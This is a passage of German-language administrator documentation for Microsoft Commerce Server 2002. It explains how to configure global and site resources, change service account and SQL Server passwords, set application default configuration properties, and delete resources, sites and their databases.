  6. Stellen Sie im Dialogfeld Globale Ressourcenzeiger sicher, dass die Ressource auf den Server zeigt, der die entsprechende globale Ressource enthält. Sie können verschiedene neue globale Ressourcen auf diesem Bildschirm erstellen. Dazu wählen Sie Neue globale Ressource erstellen dann aus, wenn Sie den globalen Ressourcenzeiger zuordnen.

    Site Packager listet die Eigenschaften von Verbindungszeichenfolgen globaler Ressourcen auf, die Sie neu hinzufügen. Die Eigenschaften von Verbindungszeichenfolgen werden nicht aufgelistet, wenn es sich bei der von Ihnen hinzugefügten Ressource nicht um einen globalen Ressourcenzeiger handelt.

  7. Im Dialogfeld Datenbank-Verbindungszeichenfolgen sind die Datenbanken aufgeführt, die Site Packager erstellen wird, sowie die Server, auf denen die Datenbanken erstellt werden. Wenn Sie eine neue Datenbank für Ihre globale Ressource erstellen müssen, klicken Sie auf Neue Datenbank.
  8. Geben Sie im Eingabefeld SQL Server-Computer den Namen des Computers ein, der die Datenbank enthalten wird. Geben Sie im Eingabefeld Datenbanknamen den Namen ein, den die Datenbank erhalten soll. In die übrigen Eingabefelder geben Sie den SQL Server-Benutzeranmeldenamen und das Kennwort ein. Klicken Sie dann auf Datenbank erstellen.
  9. Wenn Sie zum Dialogfeld Datenbank-Verbindungszeichenfolgen zurückkehren, wählen Sie eine Verbindungszeichenfolge und klicken anschließend auf Ändern.
  10. Nehmen Sie im Dialogfeld Datenverknüpfungseigenschaften die notwendigen Änderungen vor, und klicken Sie auf OK.

    Hinweis

    • Wenn Sie weitere Informationen über das vollständige Ausfüllen des Dialogfelds Datenverknüpfungseigenschaften benötigen, klicken Sie im Dialogfeld Datenverknüpfungseigenschaften auf Hilfe. Damit öffnen Sie die Datei Microsoft Data Link-Hilfe.
  11. Klicken Sie auf Weiter.
  12. Sehen Sie sich im Dialogfeld Das Entpacken ist abgeschlossen die Protokolldatei des Entpackungsvorgangs an, und klicken Sie dann auf Fertig stellen.

Die Ressource wird unterhalb der Site im Commerce Server-Manager angezeigt.

Siehe auch

Gemeinsamer Zugriff auf Ressourcen von verschiedenen Sites

Mehrere Sites und ein Data Warehouse

Verwenden von Site Packager

Installation auf einer Clusterkonfiguration mit vier Computern

Installation auf einer Konfiguration mit drei Computern ohne Cluster

Konfigurieren einer Siteressource

Löschen einer Ressource aus einer Site


Gemeinsamer Zugriff auf Ressourcen von verschiedenen Sites

In der folgenden Tabelle wird aufgelistet, welche Ressourcen von verschiedenen Sites gemeinsam genutzt und welche nicht freigegeben werden können.

Ressource | Gemeinsamer Zugriff
Anwendungsstandardkonfiguration | Nein
Berechtigungen in BizDesk | Nein
Kampagnen | Nein
Katalog | Nein
CS-Authentifizierung | Ja
Data Warehouse | Ja
Direktsendung | Ja
Vorhersagedienst | Ja
Profile | Ja
Transaktionen | Nein
Transaktionskonfiguration | Nein

Siehe auch

Mehrere Sites und ein Data Warehouse


Konfigurieren einer globalen Ressource

Nach der Installation einer globalen Ressource können Sie die Eigenschaften und die von der globalen Ressource verwendeten Datenbank-Verbindungszeichenfolgen jederzeit ändern.

Hinweis

  • Wenn Sie die Eigenschaften oder die Datenbank-Verbindungszeichenfolgen für eine globale Ressource mit dem Commerce Server-Manager ändern, werden Änderungen möglicherweise nicht sofort in Commerce Server Business Desk oder in den Webseiten der Anwendungen eingetragen, die die globale Ressource verwenden. Um diese Änderungen zu aktualisieren, starten Sie alle Dienste neu, die diese Werte verwenden. Anweisungen finden Sie unter Neustarten von IIS und Commerce Server-Diensten.

So konfigurieren Sie eine globale Ressource

  1. Erweitern Sie erst Commerce Server-Manager und dann Globale Ressourcen.
  2. Klicken Sie mit der rechten Maustaste auf die zu konfigurierende globale Ressource, und klicken Sie dann auf Eigenschaften.
  3. Wählen Sie im Dialogfeld Eigenschaften von globaler Ressource die Registerkarte Eigenschaften zum Konfigurieren der Eigenschaften für die globale Ressource. Wählen Sie für jede zu konfigurierende Eigenschaft die jeweilige Eigenschaft. Geben Sie dann im Eingabefeld Ausgewählter Eigenschaftswert einen Wert ein.
  4. Wählen Sie die Registerkarte Verbindungszeichenfolgen aus, um die Verbindungszeichenfolgen für die globale Ressource zu konfigurieren. Klicken Sie dann auf Ändern.

    Das Dialogfeld Datenverknüpfungseigenschaften wird angezeigt.

    Hinweis

    • Wenn Sie weitere Informationen über das vollständige Ausfüllen des Dialogfelds Datenverknüpfungseigenschaften benötigen, klicken Sie im Dialogfeld Datenverknüpfungseigenschaften auf Hilfe. Damit öffnen Sie die Datei Microsoft Data Link-Hilfe.
  5. Sobald Sie die notwendigen Änderungen im Dialogfeld Datenverknüpfungseigenschaften vorgenommen haben, klicken Sie auf OK.

Die globale Ressource, die Sie gewählt haben, wird nun konfiguriert.

Hinweis

  • Nach dem Ändern einer Eigenschaft im Commerce Server-Manager ist der Neustart aller Dienste erforderlich, die diese Werte verwenden. Anweisungen finden Sie unter Neustarten von IIS und Commerce Server-Diensten.

Siehe auch

Ressourcen

Konfigurieren einer Siteressource

Neustarten von IIS und Commerce Server-Diensten


Konfigurieren einer Siteressource

Nach dem Hinzufügen einer Siteressource zu einer Site können Sie die von der Siteressource verwendeten Eigenschaften jederzeit ändern. Alle von einer Site verwendeten Siteressourcen zeigen ein Objekt auf der Siteebene an.

Hinweis

  • Globale Ressourcen, die von einer Site verwendet werden, zeigen ein Objekt auf der Siteebene an (einen globalen Ressourcenzeiger). Jedoch ist die einzige vom Objekt angezeigte Eigenschaft ein Zeiger, der auf die zugeordnete globale Ressource verweist. Informationen über das Konfigurieren globaler Ressourcen finden Sie unter Konfigurieren einer globalen Ressource.

So konfigurieren Sie eine Siteressource

  1. Erweitern Sie erst Commerce Server-Manager, dann Commerce-Sites, und erweitern Sie dann die Site, die Sie verwalten möchten.
  2. Erweitern Sie Siteressourcen, klicken Sie mit der rechten Maustaste auf die zu konfigurierende Siteressource, und klicken Sie anschließend auf Eigenschaften.
  3. Wählen Sie im Dialogfeld Eigenschaften die zu konfigurierende Eigenschaft. Geben Sie dann im Eingabefeld Ausgewählter Eigenschaftswert einen Wert ein.
  4. Sobald Sie die Konfiguration der Eigenschaften für die Siteressource abgeschlossen haben, klicken Sie auf OK.

Hinweis

  • Nach dem Ändern einer Eigenschaft im Commerce Server-Manager ist der Neustart aller Dienste erforderlich, die diese Werte verwenden. Anweisungen finden Sie unter Neustarten von IIS und Commerce Server-Diensten.

Siehe auch

Ressourcen

Konfigurieren einer globalen Ressource


Ändern des Dienstkontos oder des Kennworts

Für eine Commerce Server-Site müssen mehrere Kennwörter verwaltet werden, einschließlich der Kennwörter für die SQL Server-Anmeldung, das Windows-Dienstkonto und für COM+-Anwendungen. Mit Commerce Server-Manager können Sie mehrere Kennwörter gleichzeitig ändern. So können Sie die Anmeldeinformationen für SQL Server auf einer bestimmten Site für alle Ressourcen ändern.

Wenn Sie Kennwörter mithilfe von Commerce Server-Manager ändern, wird es dem Benutzer durch ein entsprechendes Vorgehen ermöglicht, alle Kennwörter für Dienste und COM+-Anwendungen auf einem Server und alle von den Ressourcen verwendeten Anmeldeinformationen für SQL Server auf einer Site gleichzeitig zu ändern.

Commerce Server-Manager stellt eine Serververbindung her und beendet alle Commerce Server-Dienste, ändert das Konto und das Kennwort und startet dann den Dienst neu. Zuletzt wird die Kennung der COM+-Anwendung geändert, damit das festgelegte Windows-Konto und das Kennwort verwendet werden können.

Dieser Abschnitt beinhaltet folgende Themen:

  • Anmeldeinformationen für Commerce Server-Ressourcen
  • Ändern der Anmeldeinformationen für einen Remotecomputer


Anmeldeinformationen für CommerceServer-Ressourcen

Feedback zu dieser Seite senden Commerce Server 2002

Anmeldeinformationen für Commerce Server-Ressourcen

Commerce Server verwendet zwei Arten von Kontoinformationen:

  • Windows-Konto und Kennwörter für Commerce Server-Dienste und von Commerce Server verwendete COM+-Anwendungen.
  • SQL Server-Anmeldungen, die in den Eigenschaften der Verbindungszeichenfolge der Ressourcen verwendet werden.

In der folgenden Tabelle wird aufgeführt, welche Ressourcen Windows-Kontoinformationen bzw. SQL Server-Anmeldeinformationen verwenden.

Dienste, die Windows-Konto und -Kennwort verwenden | Ressourcen auf Siteebene mit SQL Server-Anmeldeinformationen | Globale Ressourcen mit SQL Server-Anmeldeinformationen
Listen-Manager (Dienst) | Transaktionen | Direct Mailer
Direct Mailer (Dienst) | Transaktionskonfiguration | Data Warehouse
Ereignisprotokollierung (COM+-Anwendungskennung) | Produktkatalog | Profile
 | Kampagnen |


Ändern der Anmeldeinformationen für einen Remotecomputer

Stellen Sie beim Ändern der Anmeldeinformationen für einen Remotecomputer sicher, dass das neue Konto auf dem Remotecomputer über die Berechtigung Anmelden als Dienst verfügt. Commerce Server weist dem Konto auf dem Remotecomputer diese Berechtigung nicht automatisch zu, auch wenn das Konto auf dem lokalen Computer möglicherweise über diese Anmeldeberechtigung verfügt.

So ändern Sie ein Dienstkonto oder ein Kennwort

  1. Klicken Sie auf Start, zeigen Sie auf Programme und dann auf Verwaltung. Klicken Sie anschließend auf Commerce Server-Manager.
  2. Klicken Sie im Commerce Server-Manager auf das Taskpad Kennwörter ändern.
  3. Nehmen Sie im Dialogfeld Kennwörter ändern im Bereich Dienste und COM+-Anwendungen die folgenden Einstellungen vor:
    Option | Aktion
    Servername | Geben Sie den Namen des Computers ein, für den das Kennwort geändert werden soll. Die Standardeinstellung ist der Name des lokalen Computers.
    Windows-Konto | Geben Sie das neue Windows-Konto für die Dienste ein.
    Kennwort | Geben Sie das neue Kennwort für die Dienste ein.
  4. Klicken Sie auf Ändern, um das neue Windows-Konto oder -Kennwort zu aktivieren.
  5. Geben Sie im Feld Kennwort bestätigen das neue Kennwort noch einmal ein, und klicken Sie dann auf OK.

Der Vorgang der Kennwortänderung verläuft synchron. Eine Statusmeldung mit den ausgeführten Aktionen wird angezeigt (Beenden des Dienstes, Ändern der Anmeldeinformationen, Starten des Dienstes).

So ändern Sie den SQL Server-Anmeldenamen und das Kennwort für die Siteressourcen

  1. Klicken Sie auf Start, zeigen Sie auf Programme und dann auf Verwaltung. Klicken Sie anschließend auf Commerce Server-Manager.
  2. Klicken Sie im Commerce Server-Manager auf das Taskpad Kennwörter ändern.
  3. Nehmen Sie im Dialogfeld Kennwörter ändern des Bereichs SQL Server-Verbindungen die folgenden Einstellungen vor:
    Option | Aktion
    Site | Wählen Sie die Site aus, für die das SQL Server-Kennwort geändert werden soll.
    SQL-Benutzername | Geben Sie den SQL Server-Anmeldenamen ein.
    Kennwort | Geben Sie das neue Kennwort ein.
    Verbindungszeichenfolgen in globalen Ressourcen dieser Site ändern Wählen Sie diese Option aus, um die Verbindungszeichenfolgen für globale Ressourcen mit SQL Server-Anmeldeinformationen zu ändern.

    Hinweis

    • Von dieser Änderung sind auch andere Sites betroffen, die diese globalen Ressourcen verwenden.
  4. Klicken Sie auf Ändern, um das neue Windows-Konto oder -Kennwort zu aktivieren.
  5. Geben Sie im Feld Kennwort bestätigen das neue Kennwort noch einmal ein, und klicken Sie dann auf OK.

    Commerce Server listet die betroffenen Ressourcen auf, einschließlich der globalen Ressourcen (soweit angegeben), und ändert die Eigenschaften der Verbindungszeichenfolge.

  6. Wenn eine Ressource mit Windows-Authentifizierung arbeitet, werden Sie in einer Meldung gefragt, ob Sie die SQL Server-Authentifizierung verwenden möchten. Klicken Sie dann auf OK.


Löschen einer Ressource aus einer Site

Wenn eine Ressource von keiner Anwendung verwendet wird, können Sie die Ressource aus Ihrer Site löschen.

In der folgenden Tabelle werden die Ergebnisse eines solchen Löschvorgangs aufgeführt.

Ressource | Was wird gelöscht?
Anwendungsstandardkonfiguration | Löscht die Ressource aus der Verwaltungsdatenbank.
Profile | Löscht die Ressource aus der Verwaltungsdatenbank. Daten aus der Profildatenbank werden nicht gelöscht.
Kampagnen | Führt Schema_drop.sql aus, wodurch gespeicherte Prozeduren, Trigger und Dropdown-Tabellen gelöscht werden. Außerdem wird die Ressource aus der Verwaltungsdatenbank gelöscht.
CS-Authentifizierung | Löscht die Sitereferenz auf einer globalen CS-Authentifizierungsressource aus der Verwaltungsdatenbank.
Data Warehouse | Löscht die Sitereferenz auf einer globalen Data Warehouse-Ressource aus der Verwaltungsdatenbank.
Commerce Server Direct Mailer | Löscht die Sitereferenz auf einer globalen Ressource für Direct Mailer aus der Verwaltungsdatenbank.
Produktkatalog | Löscht die Ressource aus der Verwaltungsdatenbank.
Transaktionen | Löscht die Ressource aus der Verwaltungsdatenbank.
Transaktionskonfiguration | Löscht die Ressource aus der Verwaltungsdatenbank.

So löschen Sie eine Ressource aus einer Site

  1. Erweitern Sie erst Commerce Server-Manager, dann Commerce-Sites, und erweitern Sie dann die Site, die Sie verwalten möchten.
  2. Klicken Sie mit der rechten Maustaste auf die zu löschende Ressource, und klicken Sie dann auf Löschen.

Daten für die Ressource werden aus der Verwaltungsdatenbank gelöscht. Das Ressourcenobjekt wird im Commerce Server-Manager unterhalb der Site nicht mehr angezeigt. Wenn Sie den globalen Ressourcenzeiger gelöscht haben, ist die globale Ressource, auf welche gezeigt wurde, immer noch für solche Sites verfügbar, die diese Ressource verwenden.

Siehe auch

Ressourcen

Hinzufügen einer Ressource zu einer Site


Löschen der Data Warehouse-Ressource

Die Data Warehouse-Konfiguration (DWC) entpackt zwei Ressourcen, für die Datenbanken erforderlich sind. Bei diesen Ressourcen handelt es sich um Data Warehouse und Business Desk-Berechtigungen.

Die Data Warehouse-Konfiguration richtet beide Ressourcen für dieselbe Datenbank ein. Standardmäßig wird der Datenbank die Bezeichnung Sitename_dw zugewiesen. Unter Sitename_dw werden sämtliche Daten und gespeicherten Prozeduren der beiden Ressourcen gespeichert.

Wenn Sie die Data Warehouse-Ressource durch Löschen der Datenbank Sitename_dw entfernen möchten, müssen Sie ebenfalls die Ressource Business Desk-Berechtigungen löschen, da die Datenbank gespeicherte Prozeduren für die Ressource Business Desk-Berechtigungen enthält.

Erstellen Sie nach dem Löschen von Sitename_dw erneut eine Datenbank, um diese mit der Ressource Business Desk-Berechtigungen zu verbinden. Um Business Desk-Berechtigungen erneut zu erstellen, können Sie die Ressource unter Verwendung des Commerce Server-Managers entfernen und hinzufügen.

Hinweis

  • Beim Entfernen der Datenbank Sitename_dw gehen Daten verloren. Sichern Sie Ihre Datenbank, bevor Sie sie löschen.

Siehe auch

Data Warehouse-Konfiguration


Konfigurieren der Anwendungsstandardkonfigurations-Ressource

Die Ressource für die Anwendungsstandardkonfiguration hat Eigenschaften, die die Funktionen Ihrer Site sowie Commerce Server Business Desk beeinflussen. Beispiel: Sie verwenden die Ressourceneigenschaften der Anwendungsstandardkonfiguration, um die von Ihnen unterstützten Währungen und Zahlungsoptionen zu bestimmen, während Sie Commerce Server mit Microsoft BizTalk Server 2000 integrieren.

Informationen über das Konfigurieren der Anwendungsstandardkonfiguration zur Verwendung von BizTalk Server finden Sie unter Konfigurieren von Commerce Server für die Zusammenarbeit mit BizTalk Server. Informationen über das Lokalisieren einer Site finden Sie unter Developing an International Site (englisches Thema).

So konfigurieren Sie die Ressource für die Anwendungsstandardkonfiguration

  1. Erweitern Sie erst Commerce Server-Manager, dann Commerce-Sites, und erweitern Sie dann die Site, die Sie verwalten möchten.
  2. Klicken Sie mit der rechten Maustaste auf Anwendungsstandardkonfiguration und dann auf Eigenschaften.
  3. Führen Sie auf der Registerkarte Eigenschaften folgende Schritte aus:
    Option | Aktion
    Artikelumleitungsoptionen hinzufügen | Bestimmen Sie die Sitefunktionen, die zur Verfügung stehen, wenn ein Benutzer ein Produkt zum Warenkorb hinzufügt. Geben Sie 1 ein, damit die aktuelle Produktseite weiterhin angezeigt wird. Geben Sie 0 ein, um zur Warenkorbseite zu wechseln.
    Adressbuchoptionen Legen Sie fest, ob die Site Adressbuchoptionen unterstützen soll.

    Geben Sie 0 ein, um das Adressbuch zu deaktivieren.

    Geben Sie 1 ein, um das Adressbuch schreibgeschützt zu aktivieren. Wenn Sie ein vordefiniertes Adressbuch haben, sollten Sie diese Option wählen.

    Geben Sie 2 ein, um das Adressbuch mit Schreib- und Lesezugriff zu aktivieren, sodass Benutzer Adressen hinzufügen bzw. ändern können.
    Timeout des Authentifizierungstickets des AuthManagers | Geben Sie die Anzahl von Minuten ein, nach denen ein Ticket abläuft. Diese Eigenschaft wird nur verwendet, wenn Sie Ihre Site basierend auf einer Commerce Server-Lösungssite entwickeln.
    BizTalk-Katalogdokumenttyp | Geben Sie einen Dokumentdefinitionsnamen ein, der von BizTalk Server für Kataloge benötigt wird (z. B. CatalogTransferDoc).
    BizTalk-Optionen | Geben Sie 1 ein, um die Integration mit BizTalk Server zum Austausch von Dokumenten zu aktivieren. Geben Sie 0 ein, um die Integration zu deaktivieren.
    BizTalk-Bestelldokumenttyp | Geben Sie den Dokumentdefinitionsnamen ein, der von BizTalk Server für Bestellungen benötigt wird (z. B. Bestellung).
    BizTalk-Quellorganisationsqualifizierer | Geben Sie den Aliasqualifizierer für die Site in BizTalk Server ein (z. B. MeineFirma).
    Wert des BizTalk-Quellorganisationsqualifizierers | Geben Sie den Aliaswert für die Site in BizTalk Server ein (z. B. Sender).
    BizTalk-Sendetyp | Geben Sie 1 ein, um Dokumente asynchron an BizTalk Server zu senden.
    Cookiepfadkorrektur-Optionen | Geben Sie 1 ein, um die anwendungsbasierte Korrektur zu aktivieren, bzw. 2, um die filterbasierte Korrektur zu aktivieren.
    Währung: Code für alternative Währung | Geben Sie den ISO 4217-Code für die alternative Währung ein.
    Währung: Umrechnungskurs für alternative Währung | Geben Sie den Kurs ein, der für die Umrechnung von der Basiswährung zur alternativen Währung verwendet wird.
    Währung: Gebietsschema für alternative Währung | Geben Sie das Gebietsschema für die alternative Währung ein (1031 = Deutsch, 1033 = Englisch, 1034 = Spanisch, 1036 = Französisch, 1041 = Japanisch).
    Währung: Optionen für alternative Währung | Geben Sie 1 ein, um die gleichzeitige Anzeige zweier Währungen zu aktivieren. Geben Sie 0 ein, um dieses Feature zu deaktivieren.
    Währung: Symbol für alternative Währung | Geben Sie bei Verwendung einer alternativen Währung das Symbol der Währung ein.
    Währung: Code für Basiswährung | Geben Sie den ISO 4217-Code für die Basiswährung ein.
    Währung: Gebietsschema für die Basiswährung | Geben Sie das Gebietsschema für die Basiswährung ein (1031 = Deutsch, 1033 = Englisch, 1034 = Spanisch, 1036 = Französisch, 1041 = Japanisch).
    Währung: Symbol für Basiswährung | Geben Sie das Symbol für die Basiswährung ein.
    Optionen für die Anzeigenreihenfolge der Währungen | Geben Sie bei Verwenden einer alternativen Währung 0 ein, um zunächst die Basiswährung anzuzeigen. Geben Sie 1 ein, wenn die alternative Währung zuerst angezeigt werden soll.
    Optionen für delegierte Verwaltung Geben Sie 1 ein, um Partnerservices zu aktivieren. Geben Sie 0 ein, um dieses Feature zu deaktivieren.

    Zum Erstellen eines delegierten Administrators muss im Benutzermodul in Commerce Server Business Desk ein Benutzer erstellt werden. Die Flag für die Partnerservicerolle muss auf Administrator eingestellt sein. Verknüpfen Sie den Benutzer dann mit einer bestimmten Organisation.

    Delegierte Administratoren verfügen in ihrer Site über einen Link zu den Partnerservices. Partnerservices ermöglichen ihnen, bestimmte Aufgaben für ihre Organisationen durchzuführen, z. B. das Verwalten von Benutzern und das Überprüfen von Bestellungen.
    Formularanmeldeoptionen Legt fest, wann sich ein Benutzer bei Ihrer Site anmelden muss. Geben Sie hierzu Folgendes ein:

    0 = Anmeldung deaktivieren. Benutzer können nur als Gast auf die Site zugreifen.

    1 = Erforderlich beim Betreten der Site.

    2 = Optional beim Betreten der Site.

    5 = Erforderlich zum Zeitpunkt des Kaufes.

    6 = Vollständig optional.

    7 = Erforderliche IIS-Authentifizierung.

    Diese Eigenschaft wird nur verwendet, wenn Sie Ihre Site basierend auf einer Commerce Server-Lösungssite entwickeln.
    Hostnamenkorrektur-Optionen | Geben Sie 1 ein, um die Hostnamenkorrektur zu aktivieren. Geben Sie 0 ein, um dieses Feature zu deaktivieren.
    Seitencodierungs-Zeichensatz | Geben Sie den Seitencodierungs-Zeichensatz für diese Site an (z. B. Windows - 1252).
    Zahlungsoptionen | Geben Sie 1 ein, wenn Benutzer ihre Bestellungen mit Kreditkarte bezahlen. Geben Sie 4 ein, wenn das Konto der Benutzer belastet werden soll. Geben Sie 5 ein, wenn beide Optionen unterstützt werden.
    Site-Standardgebietsschema | Geben Sie das Gebietsschema für diese Site ein (1031 = Deutsch, 1033 = Englisch, 1034 = Spanisch, 1036 = Französisch, 1041 = Japanisch).
    Sitedatenschutz-Optionen Geben Sie 1 ein, um Profile anonymer Benutzer zu erstellen. Geben Sie 2 ein, um Profile anonymer Benutzer zu erstellen und die Besuche anonymer Besucher zu überwachen.

    Diese Eigenschaft wird nur verwendet, wenn Sie Ihre Site basierend auf einer Commerce Server-Lösungssite entwickeln.
    Siteregistrierungsoptionen Geben Sie 1 ein, um die Selbstregistrierung zu aktivieren. Geben Sie 2 ein, um dieses Feature zu deaktivieren.

    Diese Eigenschaft wird nur verwendet, wenn Sie Ihre Site basierend auf einer Commerce Server-Lösungssite entwickeln.
    Siteticketoptionen Geben Sie 1 ein, um das Benutzerticket im URL zu platzieren. Geben Sie 2 ein, um das Benutzerticket in einem Cookie zu platzieren.

    Diese Eigenschaft wird nur verwendet, wenn Sie Ihre Site basierend auf einer Commerce Server-Lösungssite entwickeln.
    SMTP-Servername | Geben Sie den Computernamen des SMTP (Simple Mail Transfer Protocol)-Servers ein.
    Maßeinheit für Gewicht | Maßeinheit für die Berechnung der Produktversandkosten.
  4. Klicken Sie auf OK.

Hinweise

  • Nach dem Ändern einer Eigenschaft im Commerce Server-Manager ist der Neustart aller Dienste erforderlich, die diese Werte verwenden. Anweisungen finden Sie unter Neustarten von IIS und Commerce Server-Diensten.
  • Informationen darüber, wie die Lösungssites die Authentifizierungseigenschaften der Anwendungsstandardkonfiguration verwenden, finden Sie im Commerce Server 2000 Resource Kit.

Siehe auch

Ressourcen

Integrating with BizTalk Server (englisches Thema)

Konfigurieren von Commerce Server für die Zusammenarbeit mit BizTalk Server


Verwalten von Commerce-Sites

Der im Commerce Server-Manager angezeigte E-Commerce-Sites-Container wird beim Installieren von Commerce Server erstellt. Beim Entpacken einer Site werden Siteinstanzen für jede Site aus einem Paket erstellt und als Unterordner innerhalb des Containers angezeigt. Sie fügen Sites und Siteressourcen mithilfe von Commerce Server-Manager und Commerce Server Site Packager hinzu.

Dieser Abschnitt beinhaltet folgende Themen:

  • Hinzufügen einer Site. Beschreibt, wie Commerce Server eine Site hinzugefügt wird.
  • Löschen einer Site. Beschreibt, wie eine Site aus Commerce Server gelöscht wird.


Hinzufügen einer Site

Fügen Sie eine Site zu Commerce Server hinzu, indem Sie Commerce Server Site Packager zum Entpacken einer Site verwenden. Anweisungen finden Sie unter Entpacken einer Site.

Die Anzahl der zu entpackenden Sites wird durch Commerce Server nicht beschränkt. Informationen zur Anzahl der von einer Site unterstützten Anwendungen erhalten Sie in diesem Thema.

Commerce Server 2002 Standard Edition

Standard Edition lässt sich wie folgt skalieren:

  • Zwei Prozessoren
  • Zwei Webserver pro Anwendung Bis zu 10 Anwendungen werden auf einem IIS-Webserver unterstützt.
  • Zwei Commerce Server-Anwendungen pro Site: eine Business Desk-Anwendung und eine Nicht-Business Desk-Anwendung. Sie können z. B. die Retail-Lösungssite oder eine Nicht-Commerce-Anwendung sowie anschließend die Business Desk-Anwendung installieren.
  • Zehn Sites pro Data Warehouse
  • Zehn Sites pro Profildatenbank

Commerce Server 2002 Enterprise Edition

Enterprise Edition lässt sich wie folgt skalieren:

  • 32 Prozessoren
  • So viele Webserver- und Commerce Server-Anwendungen, wie von der Hardware unterstützt werden. Bis zu 10 Anwendungen werden auf einem IIS-Webserver unterstützt. Diese Anwendungen können auf einer einzigen Site vorhanden oder auf mehrere Sites verteilt werden.
  • Zehn Sites pro Data Warehouse
  • Zehn Sites pro Profildatenbank

Siehe auch

Gemeinsamer Zugriff auf Ressourcen von verschiedenen Sites

Mehrere Sites und ein Data Warehouse


Löschen einer Site

Wenn Sie eine Site löschen, werden die Sitekonfigurationsdaten aus der Verwaltungsdatenbank gelöscht. Das Löschen einer Site kann nicht rückgängig gemacht werden.

So löschen Sie eine Site

So löschen Sie die von der Site verwendeten Datenbanken

So löschen Sie OLAP-Datenbanken aus der Site

So löschen Sie die virtuellen Verzeichnisse der Site

So löschen Sie die Siteordner und -dateien

So löschen Sie Direct Mailer-Aufträge

So löschen Sie eine Site

  1. Klicken Sie auf Start, zeigen Sie auf Programme, dann auf Microsoft Commerce Server 2002, und klicken Sie auf Commerce Server-Manager.
  2. Erweitern Sie erst Commerce Server-Manager und dann Commerce-Sites.
  3. Klicken Sie mit der rechten Maustaste auf die zu löschende Datei, und wählen Sie anschließend Löschen aus der Dropdownliste aus.

So löschen Sie die von der Site verwendeten Datenbanken

  1. Klicken Sie auf Start, zeigen Sie auf Programme, dann auf Microsoft SQL Server, und klicken Sie auf Enterprise Manager.

    Hinweis

    • Stellen Sie in SQL Server Enterprise Manager sicher, dass SQL Server ausgeführt wird (das Symbol im Enterprise Manager-Fenster ist grün). Falls SQL Server nicht ausgeführt wird, klicken Sie mit der rechten Maustaste auf den SQL Server-Computer und dann auf Start.
  2. Erweitern Sie die Knoten auf den folgenden Pfad: \Microsoft SQL Servers\SQL Server Group\SQL Server Name\Databases.
  3. Klicken Sie mit der rechten Maustaste auf die zu löschende Datenbank. Klicken Sie auf die Option Alle Aufgaben und dann auf Datenbank trennen.
  4. Klicken Sie im Dialogfeld Datenbank trennen auf die Option Löschen und klicken Sie anschließend auf OK. Wiederholen Sie diesen Schritt für alle Datenbanken, die Sie löschen möchten.

    Indem Sie zuerst die Datenbanken trennen, durchtrennen Sie die Verbindungszeichenfolgen, die zu den Datenbanken bestehen.

  5. Navigieren Sie im Windows-Explorer zu dem Ordner \Programme\Microsoft SQL Server\MSSQL\Data, und löschen Sie die Datenbankdatei.

    Wichtig

    • Zur ordnungsgemäßen Installation von Commerce Server muss die Datenbankdatei nach dem Trennen der Datenbank gelöscht werden.

So löschen Sie OLAP-Datenbanken aus der Site

  1. Klicken Sie auf Start, zeigen Sie auf Programme, Microsoft SQL Server, Analysis Services, und klicken Sie dann auf Analysis-Manager.
  2. Erweitern Sie die Knoten auf den folgenden Pfad: \Analysis Servers\SQL Server Name.
  3. Klicken Sie mit der rechten Maustaste auf die zu löschende Datenbank. Klicken Sie dann auf Löschen.
  4. Klicken Sie auf Ja, um das Löschen der Ordner für die einzelnen Datenbanken zu bestätigen.
  5. Wiederholen Sie die Schritte 3 und 4 für jede Datenbank, die Sie löschen möchten.

So löschen Sie die virtuellen Verzeichnisse der Site

  1. Klicken Sie auf Start, zeigen Sie auf Verwaltung, und klicken Sie dann auf Internetdienste-Manager.
  2. Erweitern Sie die Knoten auf den folgenden Pfad: \<Computername>\<IIS-Websitename>.
  3. Klicken Sie mit der rechten Maustaste auf die zu löschenden virtuellen Verzeichnisse (z. B. Retail oder Supplier). Klicken Sie dann auf Löschen.
  4. Klicken Sie bei jedem zu löschenden virtuellen Verzeichnis auf Ja.
  5. Wiederholen Sie die Schritte 3 und 4 für jedes virtuelle Verzeichnis, das Sie löschen möchten.

So löschen Sie die Siteordner und -dateien

  1. Navigieren Sie im Windows-Explorer zu dem Verzeichnis, in dem die Sitedateien installiert sind (z. B. C:\Inetpub\wwwroot).
  2. Klicken Sie mit der rechten Maustaste auf den zu löschenden Ordner. Klicken Sie dann auf Löschen.
  3. Klicken Sie bei jedem zu löschenden Ordner auf Ja.
  4. Wiederholen Sie die Schritte 2 und 3 für jeden Ordner, den Sie löschen möchten.

So löschen Sie Direct Mailer-Aufträge

  1. Klicken Sie auf Start, zeigen Sie auf Programme, dann auf Microsoft SQL Server, und klicken Sie auf Enterprise Manager.
  2. Erweitern Sie die Knoten auf den folgenden Pfad: \Microsoft SQL Servers\SQL Server Group\SQL Server Name\Management\SQL Server Agent\Jobs.
  3. Die Direct Mailer-Aufträge werden im rechten Bereich von SQL Server Enterprise Manager angezeigt.
  4. Wählen Sie die zu löschenden Direct Mailer-Aufträge, und klicken Sie dann auf der Symbolleiste auf die Schaltfläche Löschen.

Siehe auch

Löschen einer Ressource aus einer Site

Löschen einer Anwendung aus einer Site

Entfernen eines Webservers aus einer Anwendung


Verwalten von Commerce-Anwendungen und Webservern

In den Themen dieses Abschnitts wird beschrieben, wie Anwendungen und Webserver hinzugefügt und verwaltet werden. Bevor Sie diese Prozeduren durchführen, müssen Sie Commerce Server installieren und eine Site entpacken.

Dieser Abschnitt beinhaltet folgende Themen:

  • Hinzufügen einer Anwendung zu einer Site. Beschreibt, wie eine Anwendung einer Site hinzugefügt wird.
  • Hinzufügen einer Business Desk-Anwendung zu einer Site. Beschreibt, wie eine Business Desk-Anwendung zu einer Site hinzugefügt wird.
  • Konfigurieren einer Anwendung. Erklärt, wie eine Anwendung konfiguriert wird.
  • Hinzufügen eines Webservers zu einer Anwendung. Erklärt, wie ein Webserver einer Anwendung hinzugefügt wird.
  • Hinzufügen eines weiteren Webservers. Erklärt, wie weitere Webserver einer Anwendung hinzugefügt werden.
  • Konfigurieren eines Webservers. Beschreibt, wie ein Webserver konfiguriert wird.
  • Festlegen einer Webserver-Protokolldateimaske. Beschreibt, wie die Protokolldateimaske beim Konfigurieren eines Webservers mithilfe von Commerce Server-Manager eingerichtet wird.
  • Festlegen des Domänennamens. Beschreibt, wie Anwendungen in Commerce Server benannt bzw. umbenannt werden können.
  • Entfernen einer Anwendung aus dem Speicher. Erklärt, wie eine Anwendung aus dem Speicher entfernt wird.
  • Neustarten von IIS und Commerce Server-Diensten. Erläutert das Vorgehen zum Beenden und Neustarten von Internetinformationsdienste (IIS) 5.0, um Änderungen an den CS-Authentifizierungsressourceneigenschaften vorzunehmen.
